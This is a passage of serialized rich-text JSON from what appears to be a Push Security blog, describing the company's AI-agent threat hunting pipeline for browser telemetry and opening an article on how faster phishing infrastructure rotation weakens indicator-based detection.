triage",{"data":7013,"content":7014,"nodeType":866},{},[7015],{"data":7016,"marks":7017,"value":7018,"nodeType":865},{},[],"The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.",{"data":7020,"content":7021,"nodeType":866},{},[7022],{"data":7023,"marks":7024,"value":7025,"nodeType":865},{},[],"Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. ",{"data":7027,"content":7028,"nodeType":866},{},[7029,7032,7040],{"data":7030,"marks":7031,"value":2361,"nodeType":865},{},[],{"data":7033,"content":7034,"nodeType":889},{"uri":1693},[7035],{"data":7036,"marks":7037,"value":7039,"nodeType":865},{},[7038],{"type":1191},"InstallFix discovery",{"data":7041,"marks":7042,"value":7043,"nodeType":865},{},[]," described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.",{"data":7045,"content":7046,"nodeType":1229},{},[7047],{"data":7048,"marks":7049,"value":7050,"nodeType":865},{},[],"Not just analysis, but new detections, too",{"data":7052,"content":7053,"nodeType":866},{},[7054],{"data":7055,"marks":7056,"value":7057,"nodeType":865},{},[],"Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. ",{"data":7059,"content":7060,"nodeType":866},{},[7061],{"data":7062,"marks":7063,"value":7064,"nodeType":865},{},[],"The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.",{"data":7066,"content":7067,"nodeType":944},{},[],{"data":7069,"content":7070,"nodeType":953},{},[7071],{"data":7072,"marks":7073,"value":7074,"nodeType":865},{},[],"Agentic threat hunting as core product infrastructure",{"data":7076,"content":7077,"nodeType":866},{},[7078],{"data":7079,"marks":7080,"value":7081,"nodeType":865},{},[],"The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.",{"data":7083,"content":7084,"nodeType":866},{},[7085],{"data":7086,"marks":7087,"value":7088,"nodeType":865},{},[],"Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.",{"data":7090,"content":7091,"nodeType":866},{},[7092],{"data":7093,"marks":7094,"value":7095,"nodeType":865},{},[],"The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.",{"data":7097,"content":7101,"nodeType":921},{"target":7098},{"sys":7099},{"id":7100,"type":918,"linkType":919},"7oif7PEEC3UMoTqVfRz3ZJ",[],{"data":7103,"content":7104,"nodeType":1229},{},[7105],{"data":7106,"marks":7107,"value":7108,"nodeType":865},{},[],"Component 1: The flight recorder",{"data":7110,"content":7111,"nodeType":866},{},[7112],{"data":7113,"marks":7114,"value":7115,"nodeType":865},{},[],"We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. ",{"data":7117,"content":7118,"nodeType":866},{},[7119],{"data":7120,"marks":7121,"value":7122,"nodeType":865},{},[],"A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.",{"data":7124,"content":7125,"nodeType":866},{},[7126],{"data":7127,"marks":7128,"value":7129,"nodeType":865},{},[],"That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.",{"data":7131,"content":7135,"nodeType":921},{"target":7132},{"sys":7133},{"id":7134,"type":918,"linkType":919},"6qs9xZvmKlVXOLVhFfMVFx",[],{"data":7137,"content":7138,"nodeType":1229},{},[7139],{"data":7140,"marks":7141,"value":7142,"nodeType":865},{},[],"Component 2: The internal knowledge base",{"data":7144,"content":7145,"nodeType":866},{},[7146],{"data":7147,"marks":7148,"value":7149,"nodeType":865},{},[],"As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.",{"data":7151,"content":7152,"nodeType":866},{},[7153],{"data":7154,"marks":7155,"value":7156,"nodeType":865},{},[],"That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. ",{"data":7158,"content":7159,"nodeType":866},{},[7160],{"data":7161,"marks":7162,"value":7163,"nodeType":865},{},[],"This knowledge base also reflects a deliberate architectural choice. ",{"data":7165,"content":7166,"nodeType":7191},{},[7167],{"data":7168,"content":7169,"nodeType":866},{},[7170,7174,7182,7186],{"data":7171,"marks":7172,"value":7173,"nodeType":865},{},[],"As our CPO Jacques Louw put it on ",{"data":7175,"content":7177,"nodeType":889},{"uri":7176},"https://risky.biz/RBNEWSSI128/",[7178],{"data":7179,"marks":7180,"value":7181,"nodeType":865},{},[],"Risky Business",{"data":7183,"marks":7184,"value":7185,"nodeType":865},{},[],": ",{"data":7187,"marks":7188,"value":7190,"nodeType":865},{},[7189],{"type":965},"\"There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.\"","blockquote",{"data":7193,"content":7194,"nodeType":866},{},[7195],{"data":7196,"marks":7197,"value":7198,"nodeType":865},{},[],"Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.",{"data":7200,"content":7201,"nodeType":866},{},[7202],{"data":7203,"marks":7204,"value":7205,"nodeType":865},{},[],"We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. ",{"data":7207,"content":7208,"nodeType":866},{},[7209],{"data":7210,"marks":7211,"value":7212,"nodeType":865},{},[],"Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.",{"data":7214,"content":7215,"nodeType":1229},{},[7216],{"data":7217,"marks":7218,"value":7219,"nodeType":865},{},[],"Component 3: The thoughtfully organized agents",{"data":7221,"content":7222,"nodeType":866},{},[7223,7227,7232],{"data":7224,"marks":7225,"value":7226,"nodeType":865},{},[],"The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called ",{"data":7228,"marks":7229,"value":7231,"nodeType":865},{},[7230],{"type":935},"context rot",{"data":7233,"marks":7234,"value":7235,"nodeType":865},{},[],". That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.",{"data":7237,"content":7238,"nodeType":866},{},[7239],{"data":7240,"marks":7241,"value":7242,"nodeType":865},{},[],"Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. ",{"data":7244,"content":7245,"nodeType":866},{},[7246],{"data":7247,"marks":7248,"value":7249,"nodeType":865},{},[],"But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.",{"data":7251,"content":7252,"nodeType":866},{},[7253],{"data":7254,"marks":7255,"value":7256,"nodeType":865},{},[],"Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.",{"data":7258,"content":7259,"nodeType":866},{},[7260],{"data":7261,"marks":7262,"value":7263,"nodeType":865},{},[],"The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” ",{"data":7265,"content":7269,"nodeType":921},{"target":7266},{"sys":7267},{"id":7268,"type":918,"linkType":919},"4cXhgVflbtxiKs604aemSt",[],{"data":7271,"content":7272,"nodeType":1229},{},[7273],{"data":7274,"marks":7275,"value":7276,"nodeType":865},{},[],"Component 4: The response engine",{"data":7278,"content":7279,"nodeType":866},{},[7280],{"data":7281,"marks":7282,"value":7283,"nodeType":865},{},[],"Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.",{"data":7285,"content":7286,"nodeType":866},{},[7287],{"data":7288,"marks":7289,"value":7290,"nodeType":865},{},[],"Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.",{"data":7292,"content":7296,"nodeType":921},{"target":7293},{"sys":7294},{"id":7295,"type":918,"linkType":919},"vIrkHJ4ec1I41nXeRHfT2",[],{"data":7298,"content":7299,"nodeType":944},{},[],{"data":7301,"content":7302,"nodeType":953},{},[7303],{"data":7304,"marks":7305,"value":7306,"nodeType":865},{},[],"Learn more about Push and how we develop new detections",{"data":7308,"content":7309,"nodeType":866},{},[7310,7314,7321],{"data":7311,"marks":7312,"value":7313,"nodeType":865},{},[],"For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: ",{"data":7315,"content":7316,"nodeType":889},{"uri":6809},[7317],{"data":7318,"marks":7319,"value":7320,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push",{"data":7322,"marks":7323,"value":1066,"nodeType":865},{},[],{"data":7325,"content":7326,"nodeType":866},{},[7327,7331,7338],{"data":7328,"marks":7329,"value":7330,"nodeType":865},{},[],"If you'd like to see how our agentic detection capabilities apply to your environment, ",{"data":7332,"content":7333,"nodeType":889},{"uri":2644},[7334],{"data":7335,"marks":7336,"value":7337,"nodeType":865},{},[],"book a demo",{"data":7339,"marks":7340,"value":1066,"nodeType":865},{},[],"No, you can’t just vibecode an AI-driven threat hunting pipeline","Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.","2026-06-02T00:00:00.000Z","why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline",{"items":7346},[7347,7350],{"sys":7348,"name":297},{"id":7349},"3pjES4THCIfSAwhGdNwBcy",{"sys":7351,"name":2663},{"id":2662},{"items":7353},[7354],{"fullName":5679,"firstName":5680,"jobTitle":5681,"profilePicture":7355},{"url":5683},{"__typename":1802,"sys":7357,"content":7358,"title":845,"synopsis":5636,"hashTags":59,"publishedDate":1798,"slug":5623,"tagsCollection":8027,"authorsCollection":8033},{"id":5638},{"json":7359},{"data":7360,"content":7361,"nodeType":1663},{},[7362,7368,7374,7398,7404,7409,7414,7424,7427,7434,7447,7453,7458,7464,7470,7475,7478,7485,7491,7496,7501,7507,7513,7528,7533,7536,7543,7558,7563,7569,7572,7579,7585,7591,7596,7601,7635,7641,7644,7651,7657,7663,7696,7702,7726,7732,7765,7771,7774,7781,7796,7802,7809,7822,7828,7843,7849,7852,7858,7864,7880,7883,7890,7905,7911,8021],{"data":7363,"content":7364,"nodeType":866},{},[7365],{"data":7366,"marks":7367,"value":864,"nodeType":865},{},[],{"data":7369,"content":7370,"nodeType":866},{},[7371],{"data":7372,"marks":7373,"value":873,"nodeType":865},{},[],{"data":7375,"content":7376,"nodeType":866},{},[7377,7380,7386,7389,7395],{"data":7378,"marks":7379,"value":880,"nodeType":865},{},[],{"data":7381,"content":7382,"nodeType":889},{"uri":883},[7383],{"data":7384,"marks":7385,"value":888,"nodeType":865},{},[],{"data":7387,"marks":7388,"value":893,"nodeType":865},{},[],{"data":7390,"content":7391,"nodeType":889},{"uri":896},[7392],{"data":7393,"marks":7394,"value":901,"nodeType":865},{},[],{"data":7396,"marks":7397,"value":905,"nodeType":865},{},[],{"data":7399,"content":7400,"nodeType":866},{},[7401],{"data":7402,"marks":7403,"value":912,"nodeType":865},{},[],{"data":7405,"content":7408,"nodeType":921},{"target":7406},{"sys":7407},{"id":917,"type":918,"linkType":919},[],{"data":7410,"content":7413,"nodeType":921},{"target":7411},{"sys":7412},{"id":926,"type":918,"linkType":919},[],{"data":7415,"content":7416,"nodeType":866},{},[7417,7421],{"data":7418,"marks":7419,"value":936,"nodeType":865},{},[7420],{"type":935},{"data":7422,"marks":7423,"value":940,"nodeType":865},{},[],{"data":7425,"content":7426,"nodeType":944},{},[],{"data":7428,"content":7429,"nodeType":953},{},[7430],{"data":7431,"marks":7432,"value":952,"nodeType":865},{},[7433],{"type":935},{"data":7435,"content":7436,"nodeType":866},{},[7437,7440,7444],{"data":7438,"marks":7439,"value":960,"nodeType":865},{},[],{"data":7441,"marks":7442,"value":966,"nodeType":865},{},[7443],{"type":965},{"data":7445,"marks":7446,"value":970,"nodeType":865},{},[],{"data":7448,"content":7449,"nodeType":866},{},[7450],{"data":7451,"marks":7452,"value":977,"nodeType":865},{},[],{"data":7454,"content":7457,"nodeType":921},{"target":7455},{"sys":7456},{"id":982,"type":918,"linkType":919},[],{"data":7459,"content":7460,"nodeType":866},{},[7461],{"data":7462,"marks":7463,"value":990,"nodeType":865},{},[],{"data":7465,"content":7466,"nodeType":866},{},[7467],{"data":7468,"marks":7469,"value":997,"nodeType":865},{},[],{"data":7471,"content":7474,"nodeType":921},{"target":7472},{"sys":7473},{"id":1002,"type":918,"linkType":919},[],{"data":7476,"content":7477,"nodeType":944},{},[],{"data":7479,"content":7480,"nodeType":953},{},[7481],{"data":7482,"marks":7483,"value":1014,"nodeType":865},{},[7484],{"type":935},{"data":7486,"content":7487,"nodeType":866},{},[7488],{"data":7489,"marks":7490,"value":1021,"nodeType":865},{},[],{"data":7492,"content":7495,"nodeType":921},{"target":7493},{"sys":7494},{"id":1026,"type":918,"linkType":919},[],{"data":7497,"content":7500,"nodeType":921},{"target":7498},{"sys":7499},{"id":1032,"type":918,"linkType":919},[],{"data":7502,"content":7503,"nodeType":866},{},[7504],{"data":7505,"marks":7506,"value":1040,"nodeType":865},{},[],{"data":7508,"content":7509,"nodeType":866},{},[7510],{"data":7511,"marks":7512,"value":1047,"nodeType":865},{},[],{"data":7514,"content":7515,"nodeType":866},{},[7516,7519,7525],{"data":7517,"marks":7518,"value":1054,"nodeType":865},{},[],{"data":7520,"content":7521,"nodeType":889},{"uri":1057},[7522],{"data":7523,"marks":7524,"value":1062,"nodeType":865},{},[],{"data":7526,"marks":7527,"value":1066,"nodeType":865},{},[],{"data":7529,"content":7532,"nodeType":921},{"target":7530},{"sys":7531},{"id":1071,"type":918,"linkType":919},[],{"data":7534,"content":7535,"nodeType":944},{},[],{"data":7537,"content":7538,"nodeType":953},{},[7539],{"data":7540,"marks":7541,"value":1083,"nodeType":865},{},[7542],{"type":935},{"data":7544,"content":7545,"nodeType":866},{},[7546,7549,7555],{"data":7547,"marks":7548,"value":1090,"nodeType":865},{},[],{"data":7550,"content":7551,"nodeType":889},{"uri":883},[7552],{"data":7553,"marks":7554,"value":1097,"nodeType":865},{},[],{"data":7556,"marks":7557,"value":1101,"nodeType":865},{},[],{"data":7559,"content":7562,"nodeType":921},{"target":7560},{"sys":7561},{"id":1106,"type":918,"linkType":919},[],{"data":7564,"content":7565,"nodeType":866},{},[7566],{"data":7567,"marks":7568,"value":1114,"nodeType":865},{},[],{"data":7570,"content":7571,"nodeType":944},{},[],{"data":7573,"content":7574,"nodeType":953},{},[7575],{"data":7576,"marks":7577,"value":1125,"nodeType":865},{},[7578],{"type":935},{"data":7580,"content":7581,"nodeType":866},{},[7582],{"data":7583,"marks":7584,"value":1132,"nodeType":865},{},[],{"data":7586,"content":7587,"nodeType":866},{},[7588],{"data":7589,"marks":7590,"value":1139,"nodeType":865},{},[],{"data":7592,"content":7595,"nodeType":921},{"target":7593},{"sys":7594},{"id":1144,"type":918,"linkType":919},[],{"data":7597,"content":7600,"nodeType":921},{"target":7598},{"sys":7599},{"id":1150,"type":918,"linkType":919},[],{"data":7602,"content":7603,"nodeType":866},{},[7604,7607,7613,7616,7622,7625,7632],{"data":7605,"marks":7606,"value":1158,"nodeType":865},{},[],{"data":7608,"content":7609,"nodeType":889},{"uri":1161},[7610],{"data":7611,"marks":7612,"value":1166,"nodeType":865},{},[],{"data":7614,"marks":7615,"value":1170,"nodeType":865},{},[],{"data":7617,"content":7618,"nodeType":889},{"uri":1173},[7619],{"data":7620,"marks":7621,"value":1178,"nodeType":865},{},[],{"data":7623,"marks":7624,"value":1182,"nodeType":865},{},[],{"data":7626,"content":7627,"nodeType":889},{"uri":1185},[7628],{"data":7629,"marks":7630,"value":1192,"nodeType":865},{},[7631],{"type":1191},{"data":7633,"marks":7634,"value":1196,"nodeType":865},{},[],{"data":7636,"content":7637,"nodeType":866},{},[7638],{"data":7639,"marks":7640,"value":1203,"nodeType":865},{},[],{"data":7642,"content":7643,"nodeType":944},{},[],{"data":7645,"content":7646,"nodeType":953},{},[7647],{"data":7648,"marks":7649,"value":1214,"nodeType":865},{},[7650],{"type":935},{"data":7652,"content":7653,"nodeType":866},{},[7654],{"data":7655,"marks":7656,"value":1221,"nodeType":865},{},[],{"data":7658,"content":7659,"nodeType":1229},{},[7660],{"data":7661,"marks":7662,"value":1228,"nodeType":865},{},[],{"data":7664,"content":7665,"nodeType":866},{},[7666,7669,7675,7678,7684,7687,7693],{"data":7667,"marks":7668,"value":1236,"nodeType":865},{},[],{"data":7670,"content":7671,"nodeType":889},{"uri":1239},[7672],{"data":7673,"marks":7674,"value":1244,"nodeType":865},{},[],{"data":7676,"marks":7677,"value":1248,"nodeType":865},{},[],{"data":7679,"content":7680,"nodeType":889},{"uri":1251},[7681],{"data":7682,"marks":7683,"value":1256,"nodeType":865},{},[],{"data":7685,"marks":7686,"value":1260,"nodeType":865},{},[],{"data":7688,"content":7689,"nodeType":889},{"uri":1263},[7690],{"data":7691,"marks":7692,"value":1268,"nodeType":865},{},[],{"data":7694,"marks":7695,"value":1272,"nodeType":865},{},[],{"data":7697,"content":7698,"nodeType":1229},{},[7699],{"data":7700,"marks":7701,"value":1279,"nodeType":865},{},[],{"data":7703,"content":7704,"nodeType":866},{},[7705,7708,7714,7717,7723],{"data":7706,"marks":7707,"value":1286,"nodeType":865},{},[],{"data":7709,"content":7710,"nodeType":889},{"uri":1289},[7711],{"data":7712,"marks":7713,"value":1294,"nodeType":865},{},[],{"data":7715,"marks":7716,"value":1298,"nodeType":865},{},[],{"data":7718,"content":7719,"nodeType":889},{"uri":1301},[7720],{"data":7721,"marks":7722,"value":1306,"nodeType":865},{},[],{"data":7724,"marks":7725,"value":1310,"nodeType":865},{},[],{"data":7727,"content":7728,"nodeType":1229},{},[7729],{"data":7730,"marks":7731,"value":1317,"nodeType":865},{},[],{"data":7733,"content":7734,"nodeType":866},{},[7735,7738,7744,7747,7753,7756,7762],{"data":7736,"marks":7737,"value":1324,"nodeType":865},{},[],{"data":7739,"content":7740,"nodeType":889},{"uri":1327},[7741],{"data":7742,"marks":7743,"value":1332,"nodeType":865},{},[],{"data":7745,"marks":7746,"value":1336,"nodeType":865},{},[],{"data":7748,"content":7749,"nodeType":889},{"uri":1339},[7750],{"data":7751,"marks":7752,"value":1344,"nodeType":865},{},[],{"data":7754,"marks":7755,"value":1348,"nodeType":865},{},[],{"data":7757,"content":7758,"nodeType":889},{"uri":1351},[7759],{"data":7760,"marks":7761,"value":1356,"nodeType":865},{},[],{"data":7763,"marks":7764,"value":1360,"nodeType":865},{},[],{"data":7766,"content":7767,"nodeType":866},{},[7768],{"data":7769,"marks":7770,"value":1367,"nodeType":865},{},[],{"data":7772,"content":7773,"nodeType":944},{},[],{"data":7775,"content":7776,"nodeType":953},{},[7777],{"data":7778,"marks":7779,"value":1378,"nodeType":865},{},[7780],{"type":935},{"data":7782,"content":7783,"nodeType":866},{},[7784,7787,7793],{"data":7785,"marks":7786,"value":1385,"nodeType":865},{},[],{"data":7788,"content":7789,"nodeType":889},{"uri":1388},[7790],{"data":7791,"marks":7792,"value":1393,"nodeType":865},{},[],{"data":7794,"marks":7795,"value":1397,"nodeType":865},{},[],{"data":7797,"content":7798,"nodeType":866},{},[7799],{"data":7800,"marks":7801,"value":1404,"nodeType":865},{},[],{"data":7803,"content":7804,"nodeType":1229},{},[7805],{"data":7806,"marks":7807,"value":1412,"nodeType":865},{},[7808],{"type":935},{"data":7810,"content":7811,"nodeType":866},{},[7812,7815,7819],{"data":7813,"marks":7814,"value":1419,"nodeType":865},{},[],{"data":7816,"marks":7817,"value":1424,"nodeType":865},{},[7818],{"type":935},{"data":7820,"marks":7821,"value":1428,"nodeType":865},{},[],{"data":7823,"content":7824,"nodeType":866},{},[7825],{"data":7826,"marks":7827,"value":1435,"nodeType":865},{},[],{"data":7829,"content":7830,"nodeType":866},{},[7831,7834,7840],{"data":7832,"marks":7833,"value":1442,"nodeType":865},{},[],{"data":7835,"content":7836,"nodeType":889},{"uri":1445},[7837],{"data":7838,"marks":7839,"value":1450,"nodeType":865},{},[],{"data":7841,"marks":7842,"value":1454,"nodeType":865},{},[],{"data":7844,"content":7845,"nodeType":866},{},[7846],{"data":7847,"marks":7848,"value":1461,"nodeType":865},{},[],{"data":7850,"content":7851,"nodeType":944},{},[],{"data":7853,"content":7854,"nodeType":866},{},[7855],{"data":7856,"marks":7857,"value":1471,"nodeType":865},{},[],{"data":7859,"content":7860,"nodeType":866},{},[7861],{"data":7862,"marks":7863,"value":1478,"nodeType":865},{},[],{"data":7865,"content":7866,"nodeType":866},{},[7867,7870,7877],{"data":7868,"marks":7869,"value":21,"nodeType":865},{},[],{"data":7871,"content":7872,"nodeType":889},{"uri":1487},[7873],{"data":7874,"marks":7875,"value":1493,"nodeType":865},{},[7876],{"type":1191},{"data":7878,"marks":7879,"value":21,"nodeType":865},{},[],{"data":7881,"content":7882,"nodeType":944},{},[],{"data":7884,"content":7885,"nodeType":953},{},[7886],{"data":7887,"marks":7888,"value":1507,"nodeType":865},{},[7889],{"type":935},{"data":7891,"content":7892,"nodeType":866},{},[7893,7896,7902],{"data":7894,"marks":7895,"value":1514,"nodeType":865},{},[],{"data":7897,"content":7898,"nodeType":889},{"uri":1517},[7899],{"data":7900,"marks":7901,"value":1522,"nodeType":865},{},[],{"data":7903,"marks":7904,"value":1526,"nodeType":865},{},[],{"data":7906,"content":7907,"nodeType":866},{},[7908],{"data":7909,"marks":7910,"value":1533,"nodeType":865},{},[],{"data":7912,"content":7913,"nodeType":1656},{},[7914,7937,7958,7979,8000],{"data":7915,"content":7916,"nodeType":1563},{},[7917,7927],{"data":7918,"content":7919,"nodeType":1551},{},[7920],{"data":7921,"content":7922,"nodeType":866},{},[7923],{"data":7924,"marks":7925,"value":1550,"nodeType":865},{},[7926],{"type":935},{"data":7928,"content":7929,"nodeType":1551},{},[7930],{"data":7931,"content":7932,"nodeType":866},{},[7933],{"data":7934,"marks":7935,"value":1562,"nodeType":865},{},[7936],{"type":935},{"data":7938,"content":7939,"nodeType":1563},{},[7940,7949],{"data":7941,"content":7942,"nodeType":1577},{},[7943],{"data":7944,"content":7945,"nodeType":866},{},[7946],{"data":7947,"marks":7948,"value":1576,"nodeType":865},{},[],{"data":7950,"content":7951,"nodeType":1577},{},[7952],{"data":7953,"content":7954,"nodeType":866},{},[7955],{"data":7956,"marks":7957,"value":1587,"nodeType":865},{},[],{"data":7959,"content":7960,"nodeType":1563},{},[7961,7970],{"data":7962,"content":7963,"nodeType":1577},{},[7964],{"data":7965,"content":7966,"nodeType":866},{},[7967],{"data":7968,"marks":7969,"value":1600,"nodeType":865},{},[],{"data":7971,"content":7972,"nodeType":1577},{},[7973],{"data":7974,"content":7975,"nodeType":866},{},[7976],{"data":7977,"marks":7978,"value":1587,"nodeType":865},{},[],{"data":7980,"content":7981,"nodeType":1563},{},[7982,7991],{"data":7983,"content":7984,"nodeType":1577},{},[7985],{"data":7986,"content":7987,"nodeType":866},{},[7988],{"data":7989,"marks":7990,"value":1622,"nodeType":865},{},[],{"data":7992,"content":7993,"nodeType":1577},{},[7994],{"data":7995,"content":7996,"nodeType":866},{},[7997],{"data":7998,"marks":7999,"value":1632,"nodeType":865},{},[],{"data":8001,"content":8002,"nodeType":1563},{},[8003,8012],{"data":8004,"content":8005,"nodeType":1577},{},[8006],{"data":8007,"content":8008,"nodeType":866},{},[8009],{"data":8010,"marks":8011,"value":1645,"nodeType":865},{},[],{"data":8013,"content":8014,"nodeType":1577},{},[8015],{"data":8016,"content":8017,"nodeType":866},{},[8018],{"data":8019,"marks":8020,"value":1655,"nodeType":865},{},[],{"data":8022,"content":8023,"nodeType":866},{},[8024],{"data":8025,"marks":8026,"value":21,"nodeType":865},{},[],{"items":8028},[8029,8031],{"sys":8030,"name":2663},{"id":2662},{"sys":8032,"name":342},{"id":2666},{"items":8034},[8035],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":8036},{"url":853},{"__typename":1802,"sys":8038,"content":8040,"title":8790,"synopsis":8791,"hashTags":59,"publishedDate":8792,"slug":8793,"tagsCollection":8794,"authorsCollection":8800},{"id":8039},"5RDOpmzJolwT1hk0fNIxzf",{"json":8041},{"data":8042,"content":8043,"nodeType":1663},{},[8044,8063,8069,8076,8083,8086,8094,8113,8132,8139,8145,8152,8158,8165,8173,8180,8198,8230,8236,8242,8250,8257,8275,8305,8337,8344,8350,8358,8365,8376,8383,8423,8428,8468,8505,8511,8514,8522,8529,8535,8542,8549,8555,8562,8569,8591,8594,8602,8609,8617,8624,8631,8650,8657,8663,8670,8678,8685,8702,8709,8726,8729,8737,8744,8751,8758,8761,8767,8773],{"data":8045,"content":8046,"nodeType":866},{},[8047,8051,8059],{"data":8048,"marks":8049,"value":8050,"nodeType":865},{},[],"Back in 2024, we wrote about ",{"data":8052,"content":8054,"nodeType":889},{"uri":8053},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/",[8055],{"data":8056,"marks":8057,"value":8058,"nodeType":865},{},[],"how the Pyramid of Pain shapes Push's detection philosophy",{"data":8060,"marks":8061,"value":8062,"nodeType":865},{},[]," — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that's hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.",{"data":8064,"content":8068,"nodeType":921},{"target":8065},{"sys":8066},{"id":8067,"type":918,"linkType":919},"1iuLYxwI8T1wDUIFSom0G0",[],{"data":8070,"content":8071,"nodeType":866},{},[8072],{"data":8073,"marks":8074,"value":8075,"nodeType":865},{},[],"AI hasn't introduced a new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.",{"data":8077,"content":8078,"nodeType":866},{},[8079],{"data":8080,"marks":8081,"value":8082,"nodeType":865},{},[],"These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). ",{"data":8084,"content":8085,"nodeType":944},{},[],{"data":8087,"content":8088,"nodeType":953},{},[8089],{"data":8090,"marks":8091,"value":8093,"nodeType":865},{},[8092],{"type":935},"The bottom of the Pyramid was already crumbling",{"data":8095,"content":8096,"nodeType":866},{},[8097,8101,8109],{"data":8098,"marks":8099,"value":8100,"nodeType":865},{},[],"The case against indicator-based detection didn't need AI to be compelling. ",{"data":8102,"content":8104,"nodeType":889},{"uri":8103},"https://www.spamhaus.org/",[8105],{"data":8106,"marks":8107,"value":8108,"nodeType":865},{},[],"89% of phishing domains are active for fewer than two days",{"data":8110,"marks":8111,"value":8112,"nodeType":865},{},[],", with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.",{"data":8114,"content":8115,"nodeType":866},{},[8116,8120,8128],{"data":8117,"marks":8118,"value":8119,"nodeType":865},{},[],"We've ",{"data":8121,"content":8123,"nodeType":889},{"uri":8122},"https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/",[8124],{"data":8125,"marks":8126,"value":8127,"nodeType":865},{},[],"written before",{"data":8129,"marks":8130,"value":8131,"nodeType":865},{},[]," about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.",{"data":8133,"content":8134,"nodeType":866},{},[8135],{"data":8136,"marks":8137,"value":8138,"nodeType":865},{},[],"When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: ",{"data":8140,"content":8144,"nodeType":921},{"target":8141},{"sys":8142},{"id":8143,"type":918,"linkType":919},"2N04ycJ6RKGfHdX5X1TwU3",[],{"data":8146,"content":8147,"nodeType":866},{},[8148],{"data":8149,"marks":8150,"value":8151,"nodeType":865},{},[],"Now, it looks more like this:",{"data":8153,"content":8157,"nodeType":921},{"target":8154},{"sys":8155},{"id":8156,"type":918,"linkType":919},"mfhP4WToOQkrHnVkXU0tX",[],{"data":8159,"content":8160,"nodeType":866},{},[8161],{"data":8162,"marks":8163,"value":8164,"nodeType":865},{},[],"Let’s explore why. ",{"data":8166,"content":8167,"nodeType":1229},{},[8168],{"data":8169,"marks":8170,"value":8172,"nodeType":865},{},[8171],{"type":935},"AI is accelerating phishing rotation and 